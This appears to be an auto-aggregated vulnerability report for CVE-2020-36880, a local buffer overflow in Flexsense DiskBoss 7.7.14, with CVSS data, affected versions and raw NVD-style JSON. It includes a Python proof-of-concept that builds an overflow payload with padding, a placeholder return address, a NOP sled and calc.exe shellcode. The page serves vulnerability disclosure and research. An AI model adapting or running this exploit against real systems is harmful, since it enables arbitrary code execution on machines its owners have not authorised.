Security Vulnerability Report
中文
CVE-2020-36880 CVSS 7.8 HIGH

CVE-2020-36880

Published: 2025-12-05 18:15:54
Last Modified: 2025-12-10 15:10:42

Description

Flexsense DiskBoss 7.7.14 contains a local buffer overflow vulnerability in the 'Reports and Data Directory' field that allows an attacker to execute arbitrary code on the system.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:flexense:diskboss:7.7.14:*:*:*:*:*:*:* - VULNERABLE
Flexsense DiskBoss Enterprise 7.7.14
Flexsense DiskBoss Enterprise <= 7.7.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2020-36880 PoC - DiskBoss 7.7.14 Buffer Overflow # Author: VulnCheck # Target: 'Reports and Data Directory' Field import struct import sys def create_exploit_payload(): """ Generate exploit payload for CVE-2020-36880 This PoC demonstrates the buffer overflow condition """ # Buffer size for overflow (adjust based on target) buffer_size = 524 # Typical overflow point # Padding to reach overflow threshold padding = b'A' * buffer_size # Overwrite EIP with address of our shellcode # Using common technique: jmp esp or call esp eip = struct.pack('<I', 0x41414141) # Placeholder - replace with valid address # NOP sled for reliability nops = b'\x90' * 32 # Shellcode - calc.exe (Windows) # This is a simple demonstration shellcode shellcode = ( b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\xb8\x2e\x65\x78\x65\x50\x83\xc0" b"\x0b\x89\x44\x24\xfc\xb8\x63\x6f\x6d\x6d\x50\x83\xc0\x0a\x89\x44\x24" b"\xf8\xb8\x65\x78\x65\x63\x50\x83\xc0\x07\x89\x44\x24\xf4\x31\xc0\x50\x40" b"\x50\x50\x54\xb8\x77\x1b\x81\x7c\xff\xd0\x31\xc0\x50\xb8\xea\x07\xd5\x7d" b"\xff\xd0" ) # Ensure total size is reasonable payload = padding + eip + nops + shellcode return payload def main(): print("[*] CVE-2020-36880 PoC Generator") print("[*] Target: Flexsense DiskBoss 7.7.14") print("[*] Vulnerability: Buffer Overflow in Reports and Data Directory") payload = create_exploit_payload() # Output payload to file output_file = "CVE-2020-36880_payload.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"[+] Payload generated: {len(payload)} bytes") print(f"[+] Saved to: {output_file}") print("[!] Usage: Import this payload into the 'Reports and Data Directory' field") print("[!] Note: Replace EIP address with valid ROP gadget address for your system") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36880", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:53.883", "lastModified": "2025-12-10T15:10:41.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flexsense DiskBoss 7.7.14 contains a local buffer overflow vulnerability in the 'Reports and Data Directory' field that allows an attacker to execute arbitrary code on the system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flexense:diskboss:7.7.14:*:*:*:*:*:*:*", "matchCriteriaId": "45845F37-34B8-4E68-B7B3-388E5E643282"}]}]}], "references": [{"url": "https://www.diskboss.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/48689", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/flexsense-diskboss-reports-and-data-directory-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}